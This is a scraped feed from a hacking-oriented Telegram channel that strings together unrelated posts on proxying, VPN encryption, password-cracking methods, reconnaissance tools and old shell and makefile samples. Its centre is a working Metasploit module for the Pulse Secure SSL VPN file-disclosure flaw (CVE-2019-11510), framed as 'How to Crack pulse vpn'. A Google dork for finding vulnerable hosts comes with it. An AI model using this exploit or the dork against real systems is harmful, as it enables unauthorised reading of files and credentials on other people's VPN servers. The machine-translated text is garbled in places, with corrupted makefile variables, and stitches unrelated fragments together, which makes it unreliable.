UNDERCODE COMMUNITY
2.67K subscribers
1.23K photos
31 videos
2.65K files
79.9K links
πŸ¦‘ Undercode Cyber World!
@UndercodeCommunity


1️⃣ World first platform which Collect & Analyzes every New hacking method.
+ AI Pratice
@Undercode_Testing

2️⃣ Cyber & Tech NEWS:
@Undercode_News

3️⃣ CVE @Daily_CVE

✨ Web & Services:
β†’ Undercode.help
Download Telegram
2) the user sets the POP3 server address in outlook express to 1.2.3.4. When receiving mail, the external
interface of the B machine is to accept the user request on the 110 port of 1.2.3.4, and then it is plug-gw Processing, on the internal network segment,
192.168.11.5 sends a request to port 110 of 192.168.11.1. Copy the obtained data to
external users through the 1.2.3.4 interface .

Written by Undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Apache reverse proxy clearn your doubt forEver by undercode
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

The package rewriting process is similar to plug-gw.

1) Note: In the above three cases, the request process is divided twice, and the middle is usually the Squid proxy server or
Plug-gw, Apache server, the data is copied between the two network cards of the server, but

2) the source address of the two request processes is a randomly assigned high-end address, which is different. Between 1024 and 65535. But generally speaking,
the random high-end addresses allocated by TCP / IP are mostly allocated between 1024-5000. For example: For plug-gw:
If the IP address of an external dial-up user is 5.6.7.8 If the address and port are as follows: the
source address and port number and the destination address port
sum are: 5.6.7.8 1038 1.2.3.4 110
rewritten by plug-gw request:
192.168.11.5 1045 192.168.11.1 110

3) The data returned by 192.168.11.1 Copy to external customers.

However, not all the randomly assigned addresses on the high end of the source are between 1024 and 5000. IP masquerading is the exception:

πŸ¦‘ IP masquerading:

[PC] A [Linux MASQ server] B
192.168.11.12_ | _____ 192.168.11.5 | ___ 1.2.3.4 _________ Internet

4) PC A is going to surf the Internet through B masquerading. If you want to visit www.linuxforum.net, the package rewriting process in disguise is as follows:

source address / port number and destination address / port number are:
192.168.11.12 1047 202.106.124.185 80

5) The
source address and port number and The target address / port number is:
1.2.3.4 62334 202.106.124.185 80 The

returned packet is
202.106.124.185 80-1.2.3.4 62334
and then rewritten to PC A as:
202.106.124.185 80-192.168.11.12 1047

6) Generally speaking, the IP masquerade The source address is usually> 60,000 and is between 61000--64999.
A comparison table of IP disguise is maintained on the firewall. You can see with the command / sbin / ipchains -M -L -n
:
[root @ proxy etc] # / sbin / ipchains -M -L -n
IP masquerading entries
prot expire source destination ports
UDP 02: 18.86 192.168.11.12 205.188 .179.41 1215 (62615)-> 4000
TCP 17: 03.20 192.168.11.12 205.188.248.57 1049 (62584)-> 80

7) From the ports column you can compare the matching of two source addresses.

Port forwarding (port forwarding):
See another article in the article collection "Using Port Forwarding to Provide Network Services Externally from the Intranet"
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘To be 100% Be anounymously on net you must know this
> Application and Advantages and Disadvantages of
Various Agent Methods The role of various agent methods by Undercode

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) IP Disguised, Squid's traditional proxy and transparent proxy are suitable for users with no real IP address on the LAN to access the Internet.

2) Apache reverse proxy, plug-gw general proxy, port forwarding is suitable for external users to access
the server without real IP address in the LAN .

πŸ¦‘ The advantages and disadvantages of various proxy methods:

1) The advantage of Squid is that it requires few clients, as long as it can connect to the Squid server.
However, it is necessary to set the proxy server IP address and port number for each machine.

3) The advantage of Squid transparent proxy is that it does not require each client to set the proxy address and port, simplifying the client
configuration. However, the default gateway of each client needs to be set to the Squid proxy server, and the client needs to do
DNS resolution

4) IP masquerading can be suitable for most application layer services, unlike Squid which only supports http and ftp. But also requires the client ’s The default
gateway is set to the address of the firewall. And unlike Squid has a cache function plug-gw can proxy various servers like HTTP, POP3, etc. But Apache reverse proxy can only proxy http reverse request

5) Port forwarding is suitable for most services. It has nothing to do with the specific application. It is fast and implemented at the core IP layer without requiring special

application layer services to run. But it may be necessary to recompile the kernel.

Written by Undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
πŸ¦‘ Use for learn not For harm
This media is not supported in your browser
VIEW IN TELEGRAM
πŸ¦‘ Before we post how Crack vpn services :
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ How does VPN encryption work by undercode ?
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :


1) A VPN protocol is a set of rules for transmitting and encrypting data. Most VPN services provide their customers with a choice of several VPN protocols, among which the most common are: Point to Point Tunneling Protocol (PPTP), Layer Two Tunnelling Protocol (L2TP), Internet Protocol Security (IPSec) and OpenVPN (SSL / TLS )

2) We cannot explain how VPN services protect user privacy without talking about encryption. VPN services use a special data processing method (encryption) to make read data (plain text) completely unreadable (encrypted text) for any person who can intercept them . An algorithm (cipher) determines exactly how data is encrypted and decrypted within the framework of a particular VPN protocol. VPN protocols use these cryptographic algorithms to encrypt your data and keep it private.

3) Each of these VPN protocols has its own strengths and weaknesses, depending on the corresponding cryptographic algorithm. Some VPN services allow users to choose one of the available ciphers themselves. Three types of ciphers are distinguished: symmetric, asymmetric and hashing.

4) Symmetric encryption uses a single key for both encryption and data decryption. Asymmetric encryption uses two keys: one for encryption, the other for decryption. The table below compares these types of encryption.

5) Asymmetric cryptography comes to the rescue in those cases where it is necessary to overcome the limitations inherent in symmetric cryptography (as shown in the table above). Whitfield Diffie and Martin Hellman were part of the first research group to work on improving symmetric encryption, and it was they who developed the asymmetric encryption algorithm

6) This is a popular cryptographic algorithm that underlies many VPN protocols, including those based on HTTPS, SSH, IPsec, and OpenVPN. Using this algorithm, two parties that have never met each other before can discuss a private key even in cases when communication is conducted through an unsecured public network (for example, the Internet).
Written by Undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘How to Crack pulse vpn Lastest CVE-Tested by UNDERCODE ?
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) LOAD THIS SHELL VIA METASPLOITE :

disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi

> # Exploit Title: File disclosure in Pulse Secure SSL VPN (metasploit)
# Google Dork: inurl:/dana-na/ filetype:cgi
# Exploit Author: 0xDezzy (Justin Wagner), Alyssa Herrera
# Vendor Homepage: https://pulsesecure.net
# Version: 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4

require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Post::File
def initialize(info = {})
super(update_info(info,
'Name' => 'Pulse Secure - System file leak',
'Description' => %q{
Pulse Secure SSL VPN file disclosure via specially crafted HTTP resource requests.
This exploit reads /etc/passwd as a proof of concept
This vulnerability affect ( 8.1R15.1, 8.2 before 8.2R12.1, 8.3 before 8.3R7.1, and 9.0 before 9.0R3.4
},
'References' =>
[
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-11510' ]
],
'Author' => [ '0xDezzy (Justin Wagner), Alyssa Herrera' ],
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'RPORT' => 443,
'SSL' => true
},
))

end


def run()
print_good("Checking target...")
res = send_request_raw({'uri'=>'/dana-na/../dana/html5acc/guacamole/../../../../../../etc/passwd?/dana/html5acc/guacamole/'},1342)

if res && res.code == 200
print_good("Target is Vulnerable!")
data = res.body
current_host = datastore['RHOST']
filename = "msf_sslwebsession_"+current_host+".bin"
File.delete(filename) if File.exist?(filename)
file_local_write(filename, data)
print_good("Parsing file.......")
parse()
else
if(res && res.code == 404)
print_error("Target not Vulnerable")
else
print_error("Ooof, try again...")
end
end
end
def parse()
current_host = datastore['RHOST']

fileObj = File.new("msf_sslwebsession_"+current_host+".bin", "r")
words = 0
while (line = fileObj.gets)
printable_data = line.gsub(/[^[:print:]]/, '.')
array_data = printable_data.scan(/.{1,60}/m)
for ar in array_data
if ar != "............................................................"
print_good(ar)
end
end
#print_good(printable_data)

end
fileObj.close
end
end
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ common methods for cracking network passwords
t.me/UndercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) Brute force

The most basic of password cracking technology is brute force cracking, also called password exhaustion. If the hacker knows the account number in advance, such as mail account, QQ user account, online banking account, etc., and the user's password is set very simple, such as using a simple combination of numbers, the hacker can quickly crack the password using a brute force tool Come. Therefore, users should try to set the password more complicated.

2) Keystroke record

If the user's password is more complicated, it is difficult to use brute force to crack. At this time, hackers often install Trojan viruses to users, design "keystroke recording" programs, record and monitor users' keystroke operations, and then through various methods. The recorded user keystroke content is transmitted to the hacker, so that the hacker can crack the user's password by analyzing the user keystroke information.

3) Screen recording

In order to prevent the keystroke recording tool, there is a way to enter the password using the mouse and the picture. At this time, the hacker can take a screenshot of the user's screen through the Trojan program and then record the position of the mouse click, and record the position of the mouse to compare the screenshot of the screenshot, thus cracking this kind of Method user password.

4) Phishing

"Phishing" attacks use fraudulent emails and forged websites to log in to fraudulent activities, and the scammers often leak their sensitive information (such as user name, password, account number, PIN code or credit card details), phishing Mainly by sending e-mails to lure users to log in to fake online banking and online securities websites, to defraud users' account passwords for theft.

5) Sniffer (sniffer)

On a local area network, if a hacker wants to quickly obtain a large number of accounts (including user name and password), the most effective method is to use the Sniffer program. Sniffer, Chinese translation for sniffer, is a very threatening passive attack tool. Using this tool, you can monitor the status of the network, the flow of data, and the information transmitted on the network. When the information is transmitted on the network in the form of plain text, you can use the network monitoring method to steal the transmitted data packets on the network. By setting the network interface to monitor mode, you can intercept the continuous information transmitted on the Internet. Any data packets directly transmitted through HTTP, FTP, POP, SMTP, TELNET protocols will be monitored by the Sniffer program.

6) Password Reminder

For some local passwords saved in asterisks, you can use tools like Password Reminder to crack them. Drag and drop the magnifying glass in Password Reminder onto the asterisks to crack the password.

7) Remote control

Use the remote control Trojan to monitor all operations of the user's local computer. Any keyboard and mouse operations of the user will be intercepted by the remote hacker.

8) Bad habits

Some employees of the company set a long password, but they wrote the password on paper. Others used their names or their birthdays as passwords, and others used commonly used words as passwords. These bad habits will lead to Passwords can be easily cracked.

9) Analytical reasoning

If a user uses multiple systems, a hacker can first crack the user password of a simpler system, and then use the cracked password to calculate the user password of other systems. For example, many users use the same password for all systems.

10) Password Psychology
Many well-known hackers do not use any cutting-edge technology, but only use the psychology of passwords, starting from the user's psychology, analyzing the user's information from the minute, and analyzing the user's psychology, so as to crack the password faster. In fact, there are many ways to obtain information. If you have a good grasp of password psychology, you can quickly crack to obtain user information.

Written by Undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
# SUPPORT & SHARE
T.me/UndercodeTesting
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ termux-linux verify mail if exist
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) git clone https://github.com/4w4k3/KnockMail.git
Running:

2) cd KnockMail

3) sudo su

4) pip install -r requeriments.txt

5) python knock.py
If you have another version of Python:

6) python2.7 knock.py

@UndercodeOfficial
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Tool designed to help identify incorrectly configured Django applications that are exposing sensitive information
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

1) git clone https://github.com/hackatnow/djangohunter

2) cd djangohunter

3) Usage: python3 djangohunter.py --key {shodan}
Dorks: 'DisallowedHost', 'KeyError', 'OperationalError', 'Page not found at /'
πŸ¦‘Requirements
Shodan
Pyfiglet
Requests
BeautifulSoup
pip install -r requirements.txt

πŸ¦‘Tested by undercode

▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ Shell programming example-a .login example :
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

# * or in FAR 52.227-19, as applicable. *
# *
#
# HISTORY
#
# @(#)$RCSfile: .login,v $ $Revision: 4.1.7.3 $ (DEC) $Date: 1995/10/25 20:03:52
$
#
#
if ($?path) then
set path=($HOME/bin $path)
else
set path=($HOME/bin /usr/bin .)
endif
if ( ! ${?DT} ) then
stty dec new
tset -I -Q
endif
set mail=/usr/spool/mail/$USER

written by undercode
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁
▁ β–‚ β–„ ο½•π•Ÿπ”»β’Ίπ«Δ†π”¬π““β“” β–„ β–‚ ▁

πŸ¦‘ SHELL PROGRAMMING MAKE FILE EXMAPLE by undercode :
t.me/undercodeTesting

πŸ¦‘ π•ƒπ”Όπ•‹π•Š π•Šπ•‹π”Έβ„π•‹ :

Shell programming example-a makefile example
unix.mkf
========
#=============================================================================#
# Copyright (C) BS P4 2000. All Rights Reserved. Confidential #
#=============================================================================#


# module: unix.mkf #
# description: global include for all makefiles #
# system UNIX #
PLINE = PCFC

#=============================================================================#
# useful #
#=============================================================================#
NOTHING =
BLANC = $(NOTHING) $(NOTHING)
SAY = $(BLANC)echo$(BLANC)
CONTINUE = $(BLANC)echo"""">/dev/null$(BLANC)
IF = $(BLANC)if$(BLANC)
THEN = ;then$(BLANC)
FI = ;fi$(BLANC)
FSY = [ -f$(BLANC)
FSN = [ ! -f$(BLANC)
FSE = $(BLANC)]$(BLANC)
CP = cp$(BLANC)
RCP = rcp$(BLANC)
PU = echo>/dev/null<
RM = rm$(BLANC)
DTOU = dos2unix
SS =
SM1 = .*

#=============================================================================#
# home device and directory #
#=============================================================================#
DEVHOME = /
DIRHOME = home/$(PROJ)

#=============================================================================#
# global directories #
#=============================================================================#
GLOBALDOS = $(DEVHOME)$(DIRHOME)/dos/
GLOBALMKF = $(DEVHOME)$(DIRHOME)/mkf/

#=============================================================================#
# Include application mkf #
#=============================================================================#
include $(GLOBAL_MKF_HOME)$(PROJ).mkf

#=============================================================================#
# oracle directories #
#=============================================================================#
ORAINC = $(ORACLE_HOME)/precomp/public/

#=============================================================================#
# system directories #
#=============================================================================#
SYSINC = /usr/include/
SYSINC2 = /usr/include/sys/

#=============================================================================#
# file extensions #
#=============================================================================#
EXTCOM =
EXTORS = .pc
EXTSRC = .c
EXTINC = .h
EXTOBJ = .o
EXTLIB = .a
EXTSHL =
EXTBIN =
EXTLIS = .lis

#=============================================================================#
# all include pathes #
#=============================================================================#
OCALLINC = $(BLANC)include=$(GLBINC) include=$(UTLINC) include=$(COMINC)
include=$(PKSINC) include=$(ORAINC) include=$(SIIXINC) include=$(CCMINC)
include=$(SYSINC) include=$(SYSINC2)

#=============================================================================#
# depencies for objects #
#=============================================================================#
GLBINC_ELE = $(GLBINC)ch_names.h $(GLBINC)cgl_inc.h $(GLBINC)tele_l1.h
$(GLBINC)tele_l2.h
UTLINC_ELE = $(UTLINC)utl_inc.h $(UTLINC)utl_db_i.h
COMINC_ELE = $(COMINC)comp.h $(COMINC)dbgp.h
PKSINC_ELE = $(PKSINC)pks_comm.h
MVAINC_ELE =
MTINC_ELE =
ORAINC_ELE = $(ORAINC)sqlca.h
SIIXINC_ELE = $(SIIXINC)pdv_errno.h $(SIIXINC)ppx_errno.h
CCMINC_ELE = $(CCMINC)pcm_defs_u.h
SYSINC_ELE = $(SYSINC)stdio.h

#=============================================================================#
# depencies for binaries #
# =================================================== ============================ #
GLBLIB_ELE =
UTLLIB_ELE = $ (UTLLIB) libutl.a
COMLIB_ELE = $ (COMLIB) libcom.a
USERLIB_ELE = $ (USERLIBHOME) userlib.a
ORALIB_ELE = $ (ORACLE_HOME) /lib/libsql.a
SIIXLIB_ELE =
CCMLIB_ELE = /opt/SiiXdvl/lib/libpics.a
/opt/SiiXdvl/lib/lnspl.lib/libpdi.lib/ .so
SYSLIB_ELE = /usr/lib/libm.a
SOCKLIB_ELE = /usr/lib/libsocket.a /usr/lib/libdl.so /usr/lib/libintl.so
# =========== ================================================== ================ #
# libraries for binaries #
# =========================== ================================================== #
LIBGLB =
LIBUTL = $(BLANC)$(UTLLIB)libutl.a
LIBCOM = $(BLANC)$(COMLIB)libcom.a
LIBUSER = $(BLANC)$(USERLIBHOME)userlib.a
LIBMVA =
LIBMT =
LIBORA = $(BLANC)-L$(PROLDLIBS)
LIBSIIX =
LIBCCM = $(BLANC)/opt/SiiXdvl/lib/libpics.a /opt/SiiXdvl/lib/libpdi.a
/usr/lib/libnsl.so.1
LIBSYS = $(BLANC)/usr/lib/libm.so
LIBSOCK = $(BLANC)/usr/lib/libsocket.so /usr/lib/libdl.so /usr/lib/libintl.so

#=============================================================================#
# Oracle Compiler #
#=============================================================================#
# name of compiler
OC = $(ORACLE_HOME)/bin/proc
# compilerflags and -switches
OCINC = include=
OCOPT = config=$(GLOBALMKF)proc.cfg

#=============================================================================#
# Compiler #
#=============================================================================#
# name of compiler
CC = /usr/bin/cc
# compilerflags and -switches
CCINC = -I
CCDEBUG = $(debug:1=-g)
# comment by zzy CCOPT = -c -DDEBUG $(CCDEBUG)
CCOPT = -c $(CCDEBUG)
# flag for objectfile
CCOBJ = -o

#=============================================================================#
# create and make library #
#=============================================================================#
# create library
CL = /usr/bin/ar -rc
# make library
ML = /usr/bin/ar -rcv
# separator between objectfiles
MLS =

#=============================================================================#
# Oracle Linker #
#=============================================================================#
# name of oracle linker
OL = cc -o
# linkerflags and -switches
OLDEBUG = $(debug:1=-g)
OLOPT = $(OLDEBUG)
# librarymark for object library
OLOL =
# librarymark for shared-library
OLSL =
# separator between objectfiles
OLS = $(BLANC)

#=============================================================================#
# Linker #
#=============================================================================#
# name of linker
LD = /usr/bin/cc
# linkerflags und -switches
LDDEBUG = $(debug:1=-g)
LDOPT = -o $(LDDEBUG)
# librarymark for object library
LDOL =
# librarymark for shared-library
LDSL =
# separator between objectfiles
LDS =

#=============================================================================#
# Copyright (C) BS P4 2000. All Rights Reserved. Confidential #
#=============================================================================#

host.mkf
========
#=============================================================================#
# Copyright (C) BS P4 2000. All Rights Reserved. Confidential #
#=============================================================================#

#=============================================================================#
# module: pcfc.mkf #
# description: application include for all makefiles #
# system UNIX #
# version: 2000.08.01 #
# Author: Zhou zeyan #
#=============================================================================#

#=============================================================================#
# USERLIB directories #
#=============================================================================#
USERLIBHOME = $(DEVHOME)$(DIRHOME)/userlib/

#=============================================================================#
# COMTCP directories #
#=============================================================================#
COMTCPHOME = $(DEVHOME)$(DIRHOME)/comtcp/
COMTCPWORKETC = $(COMTCPHOME)work/etc/
COMTCPWORKSRC = $(COMTCPHOME)work/src/
COMTCPWORKINC = $(COMTCPHOME)work/inc/
COMTCPWORKOBJ = $(COMTCPHOME)work/obj/
COMTCPWORKLIB = $(COMTCPHOME)work/lib/
COMTCPWORKBIN = $(COMTCPHOME)work/bin/
COMTCPWORKLIS = $(COMTCPHOME)work/src/
COMTCPSRC = $(COMTCPHOME)work/src/
COMTCPLIS = $(COMTCPHOME)work/src/
COMTCPETC = $(COMTCPHOME)etc/
COMTCPINC = $(COMTCPHOME)inc/
COMTCPOBJ = $(COMTCPHOME)obj/
COMTCPLIB = $(COMTCPHOME)lib/
COMTCPBIN = $(COMTCPHOME)bin/
#=============================================================================#
# Copyright (C) BS P4 2000. All Rights Reserved. Confidential #
#=============================================================================#

application.mkf
===============
#=============================================================================#
# Copyright (C) BS AG 1998. All Rights Reserved. Confidential #
#=============================================================================#

#=============================================================================#
# #
# Project : #
# BAO CRM3 CGL - Level 2 #
# #
# module name : #
# de.mkf #
# #
# Task #
# Makefile for programe de #
# #
# Author #
# Zhou zeyan #
# #
# Begin of implementation #
# Dec.31, 1998 #
# #
# Update #
# Zhou zeyan #
# #
# Update date #
# Feb.12, 1999 #
# #
# Release #
# Version 1.00 #
# #
# Definition #
# make -f de.mkf #
# #
# Parameters #
# No parameters #
# #
# Return code #
# No return code #
# #
#=============================================================================#

#=============================================================================#
# global include #
#=============================================================================#
include $(GLOBAL_MKF_HOME)$(OS).mkf

#=============================================================================#
# directories/files #
#=============================================================================#
DOS = $(DEWORKDOS)
ETC = $(DEWORKETC)
SRC = $(DEWORKSRC)
INC = $(DEWORKINC)
OBJ = $(DEWORKOBJ)
LIB = $ (DEWORKLIB)
BIN = $ (DEWORKBIN)
MSC = $ (DEWORKMSC)
LIS = $ (DEWORKLIS)
RUNETC = $ (DEETC)
RUNSRC = $ (DESRC)
RUNINC = $ (DEINC)
RUNOBJ = $ (DEOBJ)
RUNLIB = $ (piercing)
RUNBIN = $ (fashion)
RUNMSC = $ (DEMSC)

INAM1 = qdrinc

SNAM1 = until
SNAM2 = qdrlist
SNAM3 = de

ONAM1 = $ (SNAM1)
ONAM2 = $ (SNAM2)
ONAM3 = $ (SNAM3)

LNAM1 = until

BNAM2 = $ (SNAM_2)
BNAM_3 = $ (SNAM_3) x

IMOD_1 = $ (INC) $ (INAM_1) $ (EXTINC)

PMOD_1 = $ (SRC) $ (SNAM_1) $ (EXTORS)
SMOD_1 = $ (SRC) $ (SNAM_1) $ (EXTSRC)
PMOD_2 = $ (SRC) $ (SNAM_2) $ (EXTORS)
SMOD_2 = $ (SRC) $ (SNAM_2) $ (EXTSRC)
PMOD_3 = $ (SRC) $ (SNAM_3) $ (EXTORS)
SMOD_3 = $ (SRC) $ (SNAM_3) $ (EXTSRC)

OMOD_1 = $ (OBJ) $ ( ONAM_1) $ (EXTOBJ)
OMOD_2 = $ (OBJ) $ (ONAM_2) $ (EXTOBJ)
OMOD_3 = $ (OBJ) $ (ONAM_3) $ (EXTOBJ)

LMOD_1 = $ (LIB) $ (LNAM_1) $ (EXTLIB)

BMOD_2 = $ (BIN) $ (BNAM_2) $ (EXTBIN)
BMOD_3 = $ (BIN) $ (BNAM_3) $ (EXTBIN)

LIST_1 = $ (LIS) $ (SNAM_1) $ (EXTLIS)

RUN_IMOD_1 = $ (RUNINC) $ (INAM_1) $ (EXTINC)
RUN_BMOD_2 = $ (RUNBIN) $ (BNAM_2) $ (EXTBIN)
RUN_BMOD_3 = $ (RUNBIN) $ (BNAM_3) $ (EXTBIN)
RUN_LMOD_1 = $ (RUNLIB) $ (LNAM_1) $ (EXTLIB)

# === ====================================================== ======================== #
# generate #
#=============================================================================#
all : src obj lib bin
@ $(SAY) ""$(@) done !""
@ $(SAY) """"

src : $(SMOD_1) $(SMOD_2) $(SMOD_3)
@ $(SAY) ""$(@) done !""
@ $(SAY) """"

obj : $(OMOD_1) $(OMOD_2) $(OMOD_3)
@ $(SAY) ""$(@) done !""
@ $(SAY) """"

lib : $(LMOD_1)
@ $(SAY) ""$(@) done !""
@ $(SAY) """"

bin : $(BMOD_2) $(BMOD_3)
@ $(SAY) ""$(@) done !""
@ $(SAY) """"

#=============================================================================#
# sources #
#=============================================================================#
$(SMOD_1) : $(PMOD_1) $(IMOD_1)
$(GLBINC_ELE) $(UTLINC_ELE) $(COMINC_ELE) $(PKSINC_ELE)
$(SIIXINC_ELE) $(CCMINC_ELE)
$(ORAINC_ELE) $(SYSINC_ELE)
$(SAY) ""+--- make $(@) ---+""
$(OC) iname=$(PMOD_1) $(OCINC)$(INC)$(OCALLINC) oname=$(@)
$(OCOPT)
@ $(SAY) """"

$(SMOD_2) : $(PMOD_2) $(IMOD_1)
$(GLBINC_ELE) $(UTLINC_ELE) $(COMINC_ELE) $(PKSINC_ELE)
$(SIIXINC_ELE) $(CCMINC_ELE)
$(ORAINC_ELE) $(SYSINC_ELE)
$(SAY) ""+--- make $(@) ---+""
$(OC) iname=$(PMOD_2) $(OCINC)$(INC)$(OCALLINC) oname=$(@)
$(OCOPT)
@ $(SAY) """"
$(SMOD_3) :$ (PMOD_3) $ (IMOD_1)
$ (GLBINC_ELE) $ (UTLINC_ELE) $ (COMINC_ELE) $ (PKSINC_ELE)
$(SIIXINC_ELE) $(CCMINC_ELE)
$(ORAINC_ELE) $(SYSINC_ELE)
$(SAY) ""+--- make $(@) ---+""
$(OC) iname=$(PMOD_3) $(OCINC)$(INC)$(OCALLINC) oname=$(@)
$(OCOPT)
@ $(SAY) """"

#=============================================================================#
# objects #
#=============================================================================#
$(OMOD_1) : $(SMOD_1) $(IMOD_1)
$(GLBINC_ELE) $(UTLINC_ELE) $(COMINC_ELE) $(PKSINC_ELE)
$(SIIXINC_ELE) $(CCMINC_ELE)
$(ORAINC_ELE) $(SYSINC_ELE)
@ $(SAY) ""+--- make $(@) ---+""
$(CC) $(CCOPT)$(LIS)
$(CCINC)$(INC) $(CCALLINC) $(CCOBJ)$(@) $(SMOD_1)
@ $(SAY) """"

$(OMOD_2): $(SMOD_2) $(IMOD_1)
$(GLBINC_ELE) $(UTLINC_ELE) $(COMINC_ELE) $(PKSINC_ELE)
$(SIIXINC_ELE) $(CCMINC_ELE)
$(ORAINC_ELE) $(SYSINC_ELE)
@ $(SAY) ""+--- make $(@) ---+""
$(CC) $(CCOPT)$(LIS)
$(CCINC)$(INC) $(CCALLINC) $(CCOBJ)$(@) $(SMOD_2)
@ $(SAY) """"

$(OMOD_3): $(SMOD_3) $(IMOD_1)
$(GLBINC_ELE) $(UTLINC_ELE) $(COMINC_ELE) $(PKSINC_ELE)
$(SIIXINC_ELE) $(CCMINC_ELE)
$(ORAINC_ELE) $(SYSINC_ELE)
@ $(SAY) ""+--- make $(@) ---+""
$(CC) $(CCOPT)$(LIS)
$(CCINC)$(INC) $(CCALLINC) $(CCOBJ)$(@) $(SMOD_3)
@ $(SAY) """"

#=============================================================================#
# libraries #
#=============================================================================#
$(LMOD_1) : $(OMOD_1)
@ $(SAY) ""+--- make $(@) ---+""
@ $(IF) $(FSN) $(LMOD_1) $(FSE) $(THEN) $(CL) $(LMOD_1) $(FI)
$(ML) $(LMOD_1) $(OMOD_1)
@ $(SAY) """"

#=============================================================================#
# binaries #
#=============================================================================#
$(BMOD_2) : $(OMOD_2)
$(MTLIB_ELE) $(COMLIB_ELE) $(CCMLIB_ELE)
$(ORALIB_ELE) $(SYSLIB_ELE)
@ $(SAY) ""+--- make $(@) ---+""
$(OL) $(@) $(OMOD_2) $(LIBCOM) $(LIBUTL) $(LIBCCM)
$(LIBORA) $(LMOD_1) $(OLOPT)
@ $(SAY) """"

$(BMOD_3) : $(OMOD_3)
$(MTLIB_ELE) $(COMLIB_ELE) $(CCMLIB_ELE)
$(ORALIB_ELE) $(SYSLIB_ELE)
@ $(SAY) ""+--- make $(@) ---+""
$(OL) $(@) $(OMOD_3) $(LIBCOM)
$(LIBUTL) $(LIBPKS) $(LIBCCM) $(LIBORA) $(LMOD_1) $(OLOPT)
@ $(SAY) """"

#=============================================================================#
# export #
#=============================================================================#
export :
exportetc exportsrc exportinc exportobj exportlib exportbin exportmsc
@ $(SAY) ""$(@) done !""
@ $(SAY) """"

exportetc :
@ $(IF)$(FSY)$(RUNETC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNETC)""$(FI)
@ $(IF)$(FSY)$(RUNETC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNETC) $(FI)

exportsrc :
@ $(IF)$(FSY)$(RUNSRC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNSRC)""$(FI)
@ $(IF)$(FSY)$(RUNSRC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNSRC) $(FI)

exportinc : $(RUN_IMOD_1)
@ $(IF)$(FSY)$(RUNINC)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNINC)""$(FI)
@ $(IF)$(FSY)$(RUNINC)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNINC) $(FI)
$(RUN_IMOD_1) : $(IMOD_1)
$(CP) $(IMOD_1) $(RUN_IMOD_1)

exportobj :
@ $(IF)$(FSY)$(RUNOBJ)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNOBJ)""$(FI)
@ $(IF)$(FSY)$(RUNOBJ)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNOBJ) $(FI)

exportlib : $(RUN_LMOD_1)
@ $(IF)$(FSY)$(RUNLIB)*.*$(SM1)$(FSE)$(THEN)$(SAY)""$(PU)$(RUNLIB)""$(FI)
@ $(IF)$(FSY)$(RUNLIB)*.*$(SM1)$(FSE)$(THEN) $(PU)$(RUNLIB) $(FI)
$(RUN_LMOD_1) : $(LMOD_1)
$(CP) $(LMOD_1) $(RUN_LMOD_1)

